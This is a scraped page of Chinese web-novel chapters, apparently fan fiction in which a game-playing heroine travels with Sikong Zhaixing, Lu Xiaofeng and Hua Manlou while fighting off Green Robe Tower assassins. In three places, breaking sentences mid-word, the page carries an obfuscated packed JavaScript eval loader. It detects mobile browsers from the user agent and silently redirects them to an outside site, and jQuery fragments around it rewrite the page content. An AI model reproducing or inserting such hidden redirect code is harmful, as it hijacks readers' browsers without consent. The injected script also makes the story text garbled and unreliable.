“……待那熊熊大火终于扑灭,宫人抢将进去,便见三殿下头朝大门,被房梁压得倒伏于地。太医伸手过去,立时悚然。颤颤巍巍、期期艾艾,讷讷不能言语。淑妃瞧见此景,哪里还有不明白的,霎时软倒了下去。近从慌忙搀扶,急唤两声却无应答,仔细一瞧,才发现娘娘已然昏了。” 他喝一口茶水,声音嘶哑道,“咳咳。欲知后事如何……请听下回分解。” 话毕,他便捻起袖子,一拢桌前碎银,掀起布帘转身下了台。 正午时分,店内已陆续进了食客,跑堂也跟着忙碌起来,往来后厨,高声传报着菜名。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124098|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒青点过两道招牌,便以手支颐,静静等着上桌。 她指的俱是须得下功夫慢出的硬菜,邻座的饭桌快要放满时,小二才终于姗姗来迟。 只见他的头、肩、胳膊并两只手上具都摆满了餐盘,脚步灵活,来去如风,那一只只装着饭菜的碗碟竟像是黏在了他身上,没有半分摇晃。 伙计穿梭在店内,不过片刻就将餐食送完了大半。 他把最后两样一一摆上桌子,一甩毛巾搭上自己的脖子,头也不抬地招呼道,“客官,您的菜齐了。” 芒青恍然:“是你啊。” 店小二面露犹疑,四下环顾一圈,“客官,您认识我吗?” 芒青面无表情拆穿:“司空摘星。” 店小二那张朴实憨厚的脸上突然露出了一个奇怪的表情,似欣喜,又似是懊恼。 他抹了把脸,一张薄如蝉翼的人.皮面具便落在了掌心里,露出了后面那张熟悉的面孔。而这显然同样并非他的真容。 司空摘星一屁股坐在芒青身边的板凳上,唉声叹气,“你是怎么认出来我的?” “……”芒青的目光往他的头顶飘了一下。 这npc脑瓜子上不是就写着名字。策划有必要强行走剧情吗。 她实话实说,“看出来的。” 司空摘星盯着她瞧了一会儿,“啧”一声转移了话题,“你来江南做什么?” 芒青望天,“其实我原本的目的地不是这里。” “你要去哪?” “京城。” 司空摘星忽然右手握拳一砸左手手心,“我也正巧往京城去!既然这么有缘,我们不妨同行!” 芒青把菜里的青豆挑出来,夹了一筷子肉,放在眼前稍一端详,便搁在了餐桌上,道,“目前不太行。” 司空摘星目露困惑。 芒青解释,“遇到仇家了,得解决一下。” 司空摘星的眼神变成了震撼。 “什么仇家?我跟你一起。” 芒青扬眉道,“你不是要去京城。这次又打算偷什么去,怪盗?” 司空摘星随意一摆手,“不重要。你先跟我说说那仇家。” 芒青装模作样地思索一阵,在司空摘星越来越期待、热切的注视下缓缓开口,“不告诉你。” 司空摘星:“……” 见他这副表情,年轻人闷笑两声,把餐盘往他跟前推了推,“去做你自己的事情吧。不是已经惦记很久了吗。” 司空摘星:“什么?” 芒青道,“御史大夫书房里的第三支笔。” 司空摘星惊得险些要跳起来,“你怎么知道?!” 芒青悠然道,“当然还是看出来的。” “我不信。” 芒青镇定地含笑回望他。司空摘星的表情逐渐变成犹疑,“……难道真是看出来的?” 玩家不置可否,目光扫过游戏面板,左上角一行醒目的提示信息正微微闪烁。 【支线任务[司空摘星的同行邀请]已开启,点击查看详情】 【御史大夫的书房里有很多只笔。每次写完奏折,亲随都会发现大人笔架上的第三只笔的笔锋略微湿润……消息来源已不可考……】 司空摘星仔细打量着芒青的神色,半晌,他败下阵来,伸长手臂,把头重重搁在了上面。 食肆内座无虚席,芒青既无意就餐,便也不再空占位置。 她撑着刀柄站起身,司空摘星慌忙支起身子,询问道,“你不吃?我尝过的,这家味道还不错。” 芒青“唔”了一声,“有毒。” 司空摘星面色骤变,又反应过来,“有毒你还让我吃?!” 少年人露出揶揄的神色,“毒下在我筷子上了,放心吧。” 司空摘星:“……我很难放心。你招惹的究竟是什么仇家,竟然能在我的眼皮子底下动手脚。” 芒青:“之前就说过了。不告诉你。”其实是因为玩家自己也没弄清楚。 21.第二十一章 * 城西的房价略低,兼之往来行商和车队又多从这边经过,故而有许多客栈都开设在此处。 芒青下榻的便是其中一间。 从客栈出来,向西行半里,就能看到一条水面开阔的大河。 河堤边,几名身着粗糙布衣的男女正在浣洗衣物。捣衣杵拍打而下,发出规律的、夹杂着水声的闷响。 顺着河道继续往前,便是一座坡度极缓的石桥。 临街的店铺腾起袅袅炊烟。蒸笼掀开,包子白嫩浑圆。漏勺舀着的馄饨面皮微微鼓起,又很快遇冷坍缩,重新贴在了翠色的肉馅之上。 小贩们推着简陋的木车、挑着扁担在这里叫卖。 芒青在桥头停下脚步,买了两只热腾腾的糖油饼,提着吃食悠哉地闲逛过去。 她靠坐在石墩上,清风习习,垂下的柳枝形成一片树荫。 年轻人分出一张饼,自己捏着咬了一口,剩下的递给了旁边卖豆腐的老婆婆,“吃吗。” 老婆婆正在弯腰用铁板切一块嫩生生的白豆腐,话音落下,她身体一僵,维持着那个佝偻婆娑的姿势一动不动。芒青也举着那只油饼,等待他的反应。 半晌,这个面上布满了沧桑皱纹的老人长长地叹了一口气,竟是道成年男子的声音。 他接过了饼,手背上的皮肤枯槁,交杂着几片深色的斑纹,行动却已不再滞涩,因而显出了几分异样的违和。 【赠送[糖油饼1],人物好感度+2】 芒青一手向后撑着,仰头注视飘荡的柳枝,“不是说要去京城?怎么没走。” 油饼的内馅是滚烫的红糖浆,司空摘星一口下去,立时一个激灵。 他嘶嘶吸气,囫囵把嘴里的东西咽下去,心有余悸地把饼拿远了些,回答,“在等人。” “等谁?” 神偷扭过脸,眼底忽然迸发出了两点明亮的星光。那一定是一个他极其在意、又令他极其欢喜的人。 “陆小凤。” 尽管很不想承认,但陆小凤的名号的确响亮,甚至比偷王之王司空摘星还要更出名几分。这江湖里,只怕只有真正的聋子、瞎子才不晓得大名鼎鼎的四条眉毛。 少年人听到这个名字却没什么反应,只平淡地“哦”了一声。 司空摘星几乎跳了起来,“‘哦’?!你难道没听说过‘灵犀一指’陆小凤么?” 江湖上的好朋友大抵都有这样的毛病。 倘若旁人一听到陆小凤,就把注意力转移到这位浪子的身上,忽略了他偷王之王,司空摘星便免不得要为之跳脚。 可若是人家对陆小凤表现得不以为意、无动于衷,他又忍不住想要说得更明白一些,让人家意识到其中的厉害,希望得到些与以往一样的反馈。 芒青:“听说过啊。” 这位姓陆的npc还是很出名的。就算玩家没有特意打探,也总能听到别人提起。 司空摘星困惑,“那你怎么都没反应?” 芒青笑了,“我应该有什么反应?” 司空摘星摩挲着下巴,不确定道,“大惊失色地问我怎么会认识陆小凤?” “可我和他并不是朋友。”少年人理所当然地说,“要是有个人跟我说‘我和司空摘星打过交道’,我倒是有可能会大吃一惊的。” 司空摘星一愣。 芒青半晌没得到反应,偏过头去打量他。 只见npc神色空白、动作卡顿,大概率是bug了。玩家已经做好了敲客服的准备,好在不过两息,死机的数据小人就重新上了线。 他盯着芒青瞧了一会儿,忽然抬手捂住了下半张脸,长长叹一口气,“你以后能不能……算了。” 芒青:“?” 玩家头顶冒出一个问号。怎么还有谜语人。 “能不能什么?” 司空摘星:“……没什么。咳。这样也挺好。” 不知想到了什么,他的眼神忽然变得飘忽起来,又很快欲盖弥彰地咳嗽了两声。 芒青:“??” * npc显然处于一种玄幻的状态里。虽然不理解,但玩家还是没有追问下去。 因为她看到了系统地图上的红色小点。 年轻人忽然蹙起眉,偏头远望,右手下意识地搭上了剑柄。司空摘星敏锐道,“怎么了?” 芒青说,“寻仇的。我去看看。” 司空摘星果断:“我和你一起。” 芒青没有推脱,轻轻一跃便飞身踏上了屋顶,像一只灵活的雨燕般穿梭在街巷中。 司空摘星的轻功同样不弱,不过片刻,两人就已抵达了目标的地点。 司空摘星抬眸,讶然道,“百花楼?” 芒青看着系统地图,脚步不停,一个纵起落在小楼二层的栏杆处,翻身入了窗。她一心二用,抽空匆匆“嗯”一声聊作回答。 司空摘星紧随其后,甫一进入室内,就听见了几道清脆的金戈之声。 楼内除了花家的七公子、十余名蒙着脸的刺客,还有一位分外眼熟的故人。 司空摘星目露欣喜,大喊出声,“陆小鸡!” 那陌生男人同样看到了他,一展斗篷,瞬间缴落了一人的兵器,朗声而笑,“猴精,你怎么在这里!” 司空摘星来不及回答,只见先一步进来的少年人抽刀横砍,血花飞溅,一名尚未动手、显然是在留下望风的青衣刺客立时哀嚎一声,捂着断臂单膝跪在了地上。 几个刺客原本正同花、陆二人缠斗在一起,闻听同伴惨叫,纷纷脸色一变。 一人使出最后一招,趁花满楼抵挡的功夫退出包围,大吼着向芒青攻来。 他的兵器是一条精铁铸成的锁链,尖端连着一只弯月形状的铁钩,挥舞起来时几乎形成了一道绞肉的屏障。 被弯钩碰到的花盆应声而碎,花架倒塌,发出轰隆一声巨响。植物白色的根茎裸露在深色的土壤外,主人悉心照料的花瓣粘上了点点污渍。 芒青并不与他在正面周旋,两步跃上墙壁,借力一蹬,直劈向那人后心。 巨大的惯性之下,改变铁锁的方向已然来不及了,刺客索性大力一震手臂,那圆扇状的残影立时化作一条银蛇,缠住了长刀。 双方角力之下,刀身和锁链俱都发出了一阵不堪重负的嗡鸣。 司空摘星一掌击退敌人,和陆小凤站在一起互为倚助,见到这样的情景,不由面露焦急。 少年人的手臂青筋崩起,指骨上的皮肉几近透明。两兵相接,火星四溅,摩擦出令人牙酸的刺耳声响。 饶是如此,长刀也仍旧在一寸一寸地压向刺客的咽喉。 眼见刀锋迫近,他面色狰狞地大喝一声,下盘一沉,再次施力,竟生生将地砖踏碎了。 裂纹如同蛛网,瞬间爬满了石砖。 此人的武器既是铁锁,臂力定然远非常人能比,但现在,在这年轻人手下、在他最引以为豪的领域,他却分毫没有招架之力。 刺客的牙根紧咬,太阳穴狂跳不止,双目赤红,几乎暴突出眼眶。少顷,耳孔里缓缓流出了鲜红的血液。 他再也坚持不住,手腕颤栗,陡然一松,沉重的锁链当头砸落而下,一声闷响过后便没了声息。 芒青把刀抽出来,才发现刀身上居然被勒出了坑洼的凹痕,刃尖受力,已经崩碎了开来。 胜负已定,那被司空摘星叫做“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132372|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆小鸡”的男人不由高声赞道,“好力气!” 芒青随手一甩,挽了个不伦不类的剑花,转身迎上又一名刺客。 血雾飞溅,残刃照出了对面人惊惧的神情。 他仰面而倒,脖子上赫然多出了一个血洞。 芒青把挂在刀身上的碎肉甩下去,面色有些阴沉。即将再次痛失200金币的玩家心情实在算不上美妙。 花满楼、陆小凤和司空摘星三人配合默契,陆小凤的两根手指夹出,最后一个青衣人应声而倒。 刺客并没有被击中要害,却丧失了行动的能力。他喘息片刻,两眼陡然一睁,眸色就此呆滞下去。 司空摘星扯下他的面巾,伸手一探,“服毒自尽了。” 陆小凤的目光落在余下的刺客身上,半晌叹息一声。那些没死在他们手里的人同样也已魂归西天了。 他不由转头,就见那个不知来历但力气很大的年轻人正侧身解着刀鞘。挺胯的动作使布料清晰地勾勒出她劲瘦流畅的腰线。 少年人敏锐地抬眸直视过来,在看清陆小凤相貌时轻轻“啊”了一声。 司空摘星下意识接问道,“怎么了?” 陆小凤眉头一扬,瞥他一眼。 芒青感慨:“原来真的有四条眉毛。” 司空摘星大笑,“不错!寻常人的脸上只有两条眉毛,但他不止有两条长在眼睛上的眉毛,还有两条长在嘴巴上面!” 陆小凤抬手摸摸自己的两撇小胡子,也跟着笑道,“看来我已用不着自我介绍了。只是不知这位少侠又是什么人。” 司空摘星道,“这是芒青,我朋友。” 他转而看向花满楼,“在百花楼遇到,阁下大抵就是花七公子了。” 花满楼微笑,“在下也曾听闻阁下的大名。” 司空摘星一拳捶在陆小凤左肩,“难道不是这只小鸡告诉你的?他一向不说我的好话。” 花满楼但笑不语。 寒暄过后,陆小凤回归正题。他的面色冷沉下来,看向身边的好友,询问道,“这些人为什么来百花楼行刺?难道是你的仇人么?” 花家乃是豪富,产业遍布全国各地,家中亦有子弟入朝为官。 在江南,即使你骑马跑上一个日升日落,也不一定能跑出他们家产业所覆盖的范围。 即使花满楼是一个盲人、一个瞎子,可他仍拥有万贯家财、拥有许多人的追捧与喜爱。这样的一个人,是很容易吸引到他人的仇视与忮忌的。 可陆小凤仍然想不通。 花满楼从不主动与人结怨,若他出事,花家也必定不会善罢甘休,又有什么人会如此大动干戈地对他下手呢。 知道些许内情的司空摘星“呃”了一声。芒青道,“他们大概是冲我来的。” 陆小凤面露讶异。 花满楼含笑将此前之事讲述一番,陆小凤恍然,“原来你们竟都认识,反倒把我落在了最后。” 花满楼说,“古人讲‘倾盖如故’,有缘分的人自然会相识,又何必争一朝一夕的长短呢。” 司空摘星的关注点却在其他地方。他蹙起眉来,问芒青道,“你那仇家究竟什么来历?不过三日已有两波这样武功不俗的刺客找上门来,恐怕不能善了。你我结识的时候还没有这种事。” 陆小凤忽然道,“观其穿着,倒是很像青衣楼的人。” 芒青扬眉。 司空摘星目光一凝,复述道,“青衣楼?是那个‘青衣一百零八楼’的杀手组织?” 陆小凤说:“不错。” 司空摘星的神色却松懈下来,抱臂冷嗤道,“管他青衣白衣,如此作恶多端,把他们全杀尽了都算我替天行道。” 22.第二十二章 * 水雾蒸腾。在一片狼籍的百花楼中,花满楼用茶夹夹着盖碗的边缘,温杯烫盏,满室生香。 即使他珍爱的花草此刻已碎裂了一地,即使他很想要挽救这些生灵,但花满楼还是先替几位来客斟上了一杯茶。 只因他知道这三人一定同样不想看到小楼被毁。如若他表现得心急如焚、忧心忡忡,旁人看在眼里,也免不得要为之忧虑的。 他总是这样通透、豁达、体贴。 江湖上从不缺武功盖世的英雄,也从不缺风流的浪子,可你却很难再找到第二个像花满楼一样的人了。 芒青坐在蒲团上,自袖中摸出一块白色的玉佩,放在了他的手边。 “在下欠七公子一个人情。无论是因为什么,只要把它摔碎,天涯海角我也会赶到你身边。” 【购买[特殊标记道具1],金币-5000】 【赠送[特殊标记道具1],人物好感度+5】 少年人神色认真,显然并不是在开玩笑。 没有人会拿这样的承诺开玩笑。假使花满楼果真遇到了连他也无法解决的意外,那时,他的处境必定凶险万分。 这个年轻人许下这样的诺言,无疑已将自身的生死置之度外。它远比千两黄金还要贵重。 性命又怎么能够和金钱相提并论呢。 陆小凤不由目露讶然。司空摘星却仿佛早有预料般叹了一口气。 他像是有些无奈,又有些果然如此的恍然,还有稍许情绪,就连陆小凤也没有办法准确地形容出来。 花满楼神色略微怔忡,手指轻轻抚上那块温凉光滑的玉石,片刻后复又含笑道,“既如此,恭敬不如从命。” * 陆小凤身上披着的大红披风就像他脸上多出来的两条眉毛,实在很有让人一眼难忘的标志性。 即使是看不惯他的人,也不能不承认他的确拥有一副令人欢喜的好相貌。 旁人与他坐在一处,总免不得要被比下一头去。而此刻,这名向来无往而不利的浪子却领受了一种堪称新奇的体验。 陆小凤难得体会到被忽视的滋味。 他的好朋友,一向难觅踪迹、来去无影的偷王之王司空摘星,此刻几乎将全副心神都放在了一个少年的身上。 而若论这世间有谁最了解百花楼的主人,答案便非陆小凤莫属了。 即使花满楼不说,他也已经从挚友的态度中觉察出了一二端倪。 遇到这样的事,司空摘星和芒青免不得要去追查刺客的来历。陆小凤同样不会善罢甘休。 青衣楼之所以被称为“青衣一百零八楼”,不仅是因为他们总共有一百零八座分楼,还因为每一栋楼下,都兼有一百零八名杀手。 在这个庞大、严密、盘根错节、令无数好汉闻风丧胆的江湖势力中,青衣第一楼的位置却始终不为旁人所知晓。 故而有传闻道,组织的首领或许就身处第一楼之中。 司空摘星面露思索,“即使知道第一楼与他们的总瓢把子有关,我们又要从什么地方拿到第一楼的线索?” 陆小凤却早已考虑过了这个问题,此刻不由露出一点稍显狡黠的微笑,唇上两撇修剪整齐的胡须也跟着翘起。 他只说了四个字,“大通大智。” 司空摘星抚掌大笑,“你若想找大通和大智,只怕便又要在孙老爷身上花一大笔银钱了。” 花满楼身在江湖,虽然听说过大通和大智的名号,却不晓得所谓“孙老爷”与他们二人又有什么关联,不由困惑道,“这孙老爷又是什么人?” 陆小凤起身旋地一抖披风,便重新将之穿在了身上,朗声道,“事情既然有了眉目,就最好早些去做。至于孙老爷,待我们上了路,再细细分说不迟。” * 清晨时分,山道上几无人烟。四匹快马冲破林间稀薄的雾霭,一路疾驰,蹄铁下飞溅而起的扬尘被它们甩在身后。 芒青一行人入了城,便直奔这座城池中最大的酒楼而去。 那里有最香醇的美酒、最精致的佳肴、最新鲜的瓜果,还有方圆数十里最有名的姑娘。 欧阳情坐在桌案的后面,即使夜晚已经过去,正该是疲乏的当口,她也仍旧神采奕奕,笑眼弯弯。 那一双眼睛仿佛就是她的第二张嘴。当她盈盈注视着面前之人的时候,便仿佛来者已是她在这世间最钟情的人。 即使陆小凤并不是被姑娘目不转睛地瞧着的那位,却仍感到了些许的不自在。 司空摘星开门见山道,“你有没有见过孙老爷?” 欧阳情摸了摸鬓发,眼睛却始终落在芒青的身上。 她佯作不知,歪歪头,顺势倚上少年人的手臂,嫣然道,“孙老爷?那又是谁。一上来就问一个臭男人的名字……难道你不是来找我的么?” 司空摘星眉头紧皱。芒青伸手,在桌面上放了什么硬物,发出“硌哒”一声脆响。 陆小凤定睛一看,那竟然是一锭浑圆饱满的金元宝。 欧阳情也不由得愣住了。 芒青问,“孙老爷在哪?” 女孩子回神,目光在那枚黄澄澄的金子上一黏而过,旋即颊边梨涡更深,热情地靠进了年轻人怀里,甜甜道,“孙老爷呀……好像听说过有这样一个人,正在潇湘院寻旁人吃酒呢。” 芒青轻轻抵着姑娘的肩膀把她扶正,神色正经地一点头,“多谢。” 欧阳情见她起身离席,大有就此离去的意思,不由急唤,“你要去哪?若要找那孙老爷,你这三个同伴难道还不够么?” 她软下嗓音,娇声道,“至于你我,不妨再留下来一起喝一杯酒、吃一吃这里的果子……” 话音未落,司空摘星就已急切地拉着芒青的手腕抢出了门去,仿佛有什么洪水猛兽在身后追他一般,“不了不了!正事要紧,改日罢!” 四人逃也似的奔出了大门。 待停下脚步,陆小凤看一看花满楼的神色,又扭头一瞧芒青二人,不由大笑起来。 他摇头叹息,“若有一个人在一年前告诉我我会从酒楼里这样跑出来,只怕我是无论如何也不肯相信的。” 芒青垂眸看着司空摘星握在她腕上的手,“不松开吗?” 司空摘星下意识也跟着看了过去,下一刻,他便如同触电般缩回了手,“哦哦。” 芒青:“……你怎么了。” npc咋又抽了。是不是应该清一下缓存。 司空摘星的面庞陡然涨得通红。沉默半晌,他像是忽然发现了什么,大叫道,“等等!你不会没觉得有哪里不对吧?!” “你好奇怪。”芒青评价,“逛酒楼而已。” 司空摘星崩溃道,“用这么平淡的语气说出这种话才最奇怪!……还有你怎么还一副早就做过的样子啊!” 陆小凤几乎要笑得打跌,花满楼面上的神色却只是淡淡。 看到他的表情,陆小凤的笑意也渐渐收敛起来。 他欲言又止,最终只是叹了一口气。 花满楼的视线落在虚空处的一点上,朝好友的方向偏一偏头,平静道,“你在叹什么气?” 陆小凤的笑容已经变成了苦笑。 面对这样一个心如明镜的人,无论你用怎样的言语去搪塞,都会显得无比愚蠢。 “我在叹什么气,难道你不清楚么。” 花满楼默然。 他少有这样哑口无言的时候。或许他在自己都尚未觉察的地方发生了一些改变。 就像一只蝴蝶扇动翅膀去触碰了池塘的水面。即使涟漪消散,它们也一定留下了不同以往的痕迹。 * 孙老爷的名字展开来讲,其实是龟孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137217|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子大老爷。 只因他赚的那些钱一落到他自己的手里,不出三日,便会花得精光。有钱时,店家自然奉出手阔绰的财神爷为大老爷;等到他的兜里再找不出一枚铜板,自然也就变成了龟孙子。 这位孙老爷能将这样的日子循环往复地过上十余年,旁人便也不得不承认他的确有几分本事。 而他最大的本事,恰和芒青等人此行的目的有关。 大通和大智的本领神鬼莫测。一个通晓古今,这世间几乎没有他不知晓的事物,另一个却还要更厉害上三分。 即使你提出的问题比到天上去还要困难、比对傻子说的梦话都要荒谬,他也是能想出解决的方法的。 只有孙老爷才知道他们的所在、联系上这两名性格古怪的老人。 只要这江湖中还存在有求于大通和大智的人,龟孙子大老爷的日子就还能继续这样过下去。 即使因为付不起银钱而被店家扣了下来,他也依然有酒可喝、有肉可吃。 孙老爷已许久没有开张了,他的赎身钱自然也累积到了一个令人瞠目的数字。 掌柜稀里哗啦地翻着账本、噼里啪啦地拨着算珠,终于算出了一个令她满意的金额。 陆小凤听得呲牙。芒青却眼也不眨地付了钱。 孙老爷仰面瘫倒在地上,蹬直了腿,大叫一声,“再拿一壶酒来!” 掌柜的笑着看向芒青。 芒青抛给她一块碎银,颔首道,“给他吧。” 孙老爷睁开迷蒙的双眼,上下打量她一遍,终于坐起了身。 “你们要寻大智大通,有些规矩可得先说好咯。” 花满楼微笑道,“愿闻其详。” 满身酒气的男人搔了搔自己的头皮,竖起两根手指,“第一,一个问题五十两银子,只收整个儿的元宝。第二,他们从不见人。就算是问问题的时候,你们也只能在外面问。” 陆小凤叹道,“我一直百思不得其解,为什么大通和大智只肯见你。” 这样的回答无疑已经彰显了他的态度。孙老爷咧嘴一笑,拍拍屁股,悠然站起身来。 * 孙老爷的头很大,相较而言,他的身体就显得又干又小。 这样的一个人,在其他地方总是很难讨得到好的。可是在这里,在这条狭窄、阴森的洞口里,他的身材便长得正正巧巧了。 若非亲眼瞧见,人们大抵也是不敢相信这样的小缝竟然钻得下一个成年男人的。 孙老爷在钻洞,黑马则溜溜达达地踱步到了芒青的身边,长长的嘴筒子怼在她的发间。上下唇瓣一动,一缕发丝已被它衔走了去。 芒青面无表情,回手一捶马头,发出“咚”一声响。 黑马的眼神瞬间变得清澈,老老实实地把头发呸出来,讨好地拱了拱主人。 司空摘星没过脑子,抬臂把芒青的头发捋回去,不料却沾了一手的口水,顿时嫌恶地用山石猛蹭手指。 陆小凤又是一阵爆笑。 司空摘星怒从心起,顿时扑过去,恶向胆边生地把手往他脸上摁。两个人瞬间扭打在了一处。 芒青回头,看到站在身后的花满楼,微微歪了一下头,说,“风景还是很不错的,对吧。” 花满楼的脸上露出了笑容。 仅仅只是嗅闻到山间草木的清香、听到咕咕的虫鸣声响,他就已经发自内心地感受到了一种愉悦、一种对生活的享受。 他总是能很坦然地接受自己的残缺。或许这正是因为他从未将之视为残缺。 “芒青姑娘不是已经看出来我是一个瞎子了么?” 芒青眺望着远处青色的山崖。新生的嫩叶与已经长成的枫树叶相互叠映,组成了一片深浅交错的绿荫。 少年人的话语随意,轻飘飘混在夜风里,送向了花满楼的耳畔,“你是用心看的嘛。” 23.第二十三章 * 孙老爷终于把自己塞进了石缝。 他的身影消失在黑暗里,一阵窸窸窣窣过后,这个瘦小男人的声音经过层层回声传了出来,“你们问吧。” 司空摘星向山洞里丢了一块五十两的银子。银块砸在地上,发出磕绊的响动。 他的第一个问题开门见山。 “江湖上最有名的杀手组织、青衣楼的首领如今住在什么地方?” 少顷,一道属于老人的嗓音沉沉响起,“他就在青衣一百零八楼中的第一楼里。” 司空摘星并不意外。这本就已不能算是一个秘密。 他扔了第二块银子进去,“青衣第一楼在什么地方?” 石窟中的人沉默了一段时间,直到陆小凤都变得有些坐立不安起来,才缓缓回答道,“关中珠宝阎家的府邸名叫珠光宝气阁。” 陆小凤、花满楼和司空摘星俱都不由自主地睁大了眼睛,露出了惊异的神色。 身披大红色斗篷的侠客不由失声道,“你是说青衣楼在珠光宝气阁里?若真如此,他们的首领又会是谁?” 大通没有说话,陆小凤反应过来,会意地掷了两锭银子。 银锭落进去,才又有了回答的声音。 “阎家的大老板阎铁珊乃是一方豪富,他们家的势力已涵括了珠光宝气阁方圆数十里的土地。” 陆小凤眉头紧蹙,追问道,“那么第一楼的主人究竟姓甚名谁?” 他的话音落下,却久久没有得到回应。 半晌,一枚沉甸甸的元宝被人从洞内扔了出来,仿佛也坠在了人的心头。 司空摘星没有说话。他死死地盯着那只沾上了灰土的铸币,仿佛看到了一只长着四条腿的鸟、一条正在天上飞的狗。 最终,陆小凤叹了一口气,走上前去,把银锭拾了起来。 * 即便结果不尽如人意,但他们仍得到了不少得用的线索。 陆小凤这样的人,倘若下定决心去做什么事情,纵使上刀山下火海,也是一定要去把它办成的。 他绝不会就此罢手。无论结果如何,珠光宝气阁都值得前去查探一遭。但在这之前,陆小凤还需要做一件更重要的事情。 …… 城中有一家常受老饕光顾的老字号,名唤“上林春”。 陆小凤是一个很懂得享受的人,他尤其不委屈自己的肚子。 即使去到了陌生的地方,他也一定最能先一步打听到哪家食肆脍炙人口。 大堂人声鼎沸,后厨热火朝天。伙计一道道地将菜呈了上来。 鱼羊鲜汤、香煎乳鸽、蟹粉狮子头……汾酒与竹叶相结合,酿出一碗竹叶青。 羊排煨在鱼汤里,老姜杀走了肉的腥膻,只剩下一个鲜味。透明烂熟的萝卜里浸满了汤汁,一口下去,唇齿留香、回味无穷。 乳鸽的汁水包在嫩肉里,外皮酥脆焦香,热油淋过的脆皮水附着其上,犹如一块金黄色的琥珀。 几人奔波了一夜,早已有了些许困顿疲乏之意,此刻见了这样丰盛的餐食,俱都食指大动。 司空摘星蒙头扒了一阵,终于缓过劲来,把嘴里的饭菜咽下去,长长呼出一口气。 他饮空了一碗酒,忽然又皱起眉,叹了一口气。 两声气虽然由同一个人吐出来,其后所蕴含的情绪却大不一样。 陆小凤笑道,“猴精,这样的佳肴在你跟前,究竟还有什么好烦心的?” 司空摘星说,“如若我不曾尝过那样的珍馐,自然也会认为这里的饭菜已足够美味。” 陆小凤狐疑地上下打量他一遍,终于确认这位深谙易容之术的损友并不是在诓骗他,不由面露惊奇,“能叫你说出这样的话,主厨的手艺定然不俗。是哪家酒楼?” 司空摘星摇头。目光中流露出了两点狡黠的光芒。 陆小凤明明心知他是在捉弄自己,此刻却也很配合地顺着他的意猜测下去,“难道此人并不在酒楼里工作么?” 他视线扫过司空摘星的脸,忽然神色一变,叫道,“难道你是在皇宫里偷了御膳吃不成?” 司空摘星嘴角一抽,却实在找不出什么依据反驳这堪称诽谤的言论。他也许果真能做出这样的事。 只是他已下定决心要逗一逗眼前这只小鸡,便不露声色,仍摇了摇头。 人在自己的好朋友面前,和好朋友待在一处,便总是免不了要变得幼稚起来、去做一些不像大人的事。 花满楼的吃相是很斯文的。即使他目不能视,也依然不会把筷子夹到自己的鼻子上。 他做事情的时候总是能抱有十二分的认真与专注,只因他无论在什么时候、无论从什么地方,都总是能发现人生中的美好。 美好的事物总是要人用心去体会、品味的。 此刻,他就停箸端坐,专注地倾听起两名好朋友间的交谈。 陆小凤接着又猜了数次,偷王之王却依然还是摇头。他不禁急道,“你到底说是不说?” 司空摘星哈哈大笑,道,“远在天边,近在眼前。那人既不是一个厨子,也不是一个热衷于美食的人。若论这世间谁掌勺的手艺最好,芒青若排第二,恐怕就再不会有第一了。” 陆小凤大吃一惊,“芒青姑娘?” 花满楼也微微侧过头,偏向了芒青的方向。 少年人左手托腮,右手的食指抵着瓷杯的杯沿,让它就着这个姿势在桌面上转了一圈,闻言只是漫不经心地扬了一下眉,一副不很在意的模样。 “不错。”司空摘星露出几分感慨的神色,“我从来没见过有人能把饭烧得那么难吃,也从来没见过有人能把饭做得那样好吃。” 陆小凤笑道,“这下我是真的有些好奇了。你们结识的时候到底得是怎样的情形?” 司空摘星思索道,“说起来,我们二人相识距今也只不过一月。那会儿我正在一家客栈里做帮工,她来投宿,每天都要用店里的灶台烧饭。” 故事的另外一个主人公“啊”了一声,像是也想起了那时的景象,肩膀抖动两下,嗓音里夹杂上了一点笑意,“对不住。” 司空摘星稍显做作地叹了一口气,唇角却已勾了起来,“我一直觉得那只鸡死得不很瞑目。当时的我无论如何也想不到你竟真的无师自通,把它学成了。” 花满楼道,“芒青姑娘很厉害。” 芒青:“是吧。” 陆小凤大笑,“还有这样自卖自夸的么?” 芒青一本正经,“一个诚实的人在合适的时候总是会说一些实话的。” 恰在这时,食肆内的光线忽然暗了下来。 他们停下话音,回头望去,只见一人背光站在门外,阴影笼罩在他的身上,叫人瞧不清这古怪客人的模样。 做生意的店家总是免不了有一些纠纷。掌柜只当他是前来寻衅的,一边给小二使眼色,一边殷勤地迎了出去。 她到了那不速之客的近前、瞧清了他的样貌,顿时跌坐在地上,面上血色尽失,神色大骇,仿佛青天白日里撞见了鬼。 食肆内已没有了人语声,一片静默中,只有小二壮着胆子走了两步。 